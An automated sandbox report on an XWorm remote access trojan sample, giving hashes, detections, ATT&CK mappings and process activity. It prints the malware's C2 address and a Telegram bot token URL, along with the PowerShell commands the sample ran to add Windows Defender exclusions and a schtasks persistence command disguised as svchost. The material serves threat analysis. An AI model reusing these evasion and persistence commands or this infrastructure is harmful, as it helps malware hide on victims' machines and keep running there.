xworm | 6fc07b159dc07440be552269b3744451ffb4de70d31cbb42ac26e153c02c57c2

General

Target

агу агу.exe
Size

66KB
MD5

5c434aad5f00636f72eacd2629bd94d3
SHA1

97d58aa930ca9033c03225f227643c0d3f363565
SHA256

6fc07b159dc07440be552269b3744451ffb4de70d31cbb42ac26e153c02c57c2
SHA512

aa193cc01233441f47e57b447b53fc337da9d93e4e4b012d2f298e0899e474e06ef678098cad6d31d47d4c208702d6a4953f34eb228fd71569d0e7f1959f87ac
SSDEEP

1536:pumiy1u+SnmhVvUdp6S7rbxIsaM26/OkDBUs0:Dw+S6Od4YrbxI8OsBUx

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

positive-you.gl.at.ply.gg:16734

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7343225892:AAGJ-_TVGwSK_6PGyafbOWbFKwsijptXrto/sendMessage?chat_id=944774411

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2556-1-0x0000000000150000-0x0000000000166000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2792	powershell.exe
2600	powershell.exe
1628	powershell.exe
1660	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2660163958-4080398480-1122754539-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost"	агу агу.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2588	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1756	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2792	powershell.exe
2600	powershell.exe
1628	powershell.exe
1660	powershell.exe
2556	агу агу.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2556	агу агу.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	2556	агу агу.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2556	агу агу.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2556 wrote to memory of 2792	2556	агу агу.exe	32
PID 2556 wrote to memory of 2792	2556	агу агу.exe	32
PID 2556 wrote to memory of 2792	2556	агу агу.exe	32
PID 2556 wrote to memory of 2600	2556	агу агу.exe	34
PID 2556 wrote to memory of 2600	2556	агу агу.exe	34
PID 2556 wrote to memory of 2600	2556	агу агу.exe	34
PID 2556 wrote to memory of 1628	2556	агу агу.exe	36
PID 2556 wrote to memory of 1628	2556	агу агу.exe	36
PID 2556 wrote to memory of 1628	2556	агу агу.exe	36
PID 2556 wrote to memory of 1660	2556	агу агу.exe	38
PID 2556 wrote to memory of 1660	2556	агу агу.exe	38
PID 2556 wrote to memory of 1660	2556	агу агу.exe	38
PID 2556 wrote to memory of 1756	2556	агу агу.exe	40
PID 2556 wrote to memory of 1756	2556	агу агу.exe	40
PID 2556 wrote to memory of 1756	2556	агу агу.exe	40
PID 2556 wrote to memory of 1104	2556	агу агу.exe	42
PID 2556 wrote to memory of 1104	2556	агу агу.exe	42
PID 2556 wrote to memory of 1104	2556	агу агу.exe	42
PID 2556 wrote to memory of 752	2556	агу агу.exe	44
PID 2556 wrote to memory of 752	2556	агу агу.exe	44
PID 2556 wrote to memory of 752	2556	агу агу.exe	44
PID 752 wrote to memory of 2588	752	cmd.exe	46
PID 752 wrote to memory of 2588	752	cmd.exe	46
PID 752 wrote to memory of 2588	752	cmd.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\агу агу.exe
"C:\Users\Admin\AppData\Local\Temp\агу агу.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\агу агу.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'агу агу.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1756
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /delete /f /tn "svchost"
  2⤵
  PID:1104
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp9251.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tmp9251.tmp.bat

Filesize
165B

MD5
8662a25daa00e495cae79fa876ba726e

SHA1
be0232a385cd4d9c96ccd2cbea95f95801c3494f

SHA256
67ac3f24b9e0a90187c2478f46e66a50d08fccdc9119d06d4f730fc5bfefe88c

SHA512
7d94895711613efe0f6b10fd4a1e3f91f03729a75495fe4f2f89ac9c73e1330650ae9b011437b11eac4db62ebb1fee0018f6de19f85d5c3fdf2375881c70780e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75UE44NLKYER98L6IUHK.temp

Filesize
7KB

MD5
7c69b651bea3db1926bbdc3e97d2d6d2

SHA1
ba03f498343af8f5e80f7f4a8166c08fb4da9382

SHA256
59d2aa338c8f5d08301414622c5da2bf9b9c44df7d744e662b163db96723ad3a

SHA512
7fba19bc667717c1c92b82b55e30a289188ae8fa79f6adab823155dd4abd8ce6a15e762386f48ba11ccaa7e5e22be65ddad25837c06d219a49eeb9c3e93db6b1

Download Submit
memory/2556-0-0x000007FEF5853000-0x000007FEF5854000-memory.dmp

Filesize
4KB

Download
memory/2556-1-0x0000000000150000-0x0000000000166000-memory.dmp

Filesize
88KB

Download
memory/2556-2-0x000007FEF5850000-0x000007FEF623C000-memory.dmp

Filesize
9.9MB

Download
memory/2556-3-0x000007FEF5853000-0x000007FEF5854000-memory.dmp

Filesize
4KB

Download
memory/2556-4-0x000007FEF5850000-0x000007FEF623C000-memory.dmp

Filesize
9.9MB

Download
memory/2556-40-0x000007FEF5850000-0x000007FEF623C000-memory.dmp

Filesize
9.9MB

Download
memory/2556-30-0x00000000022C0000-0x00000000022CC000-memory.dmp

Filesize
48KB

Download
memory/2600-17-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2600-18-0x00000000029F0000-0x00000000029F8000-memory.dmp

Filesize
32KB

Download
memory/2792-11-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2792-10-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2792-9-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads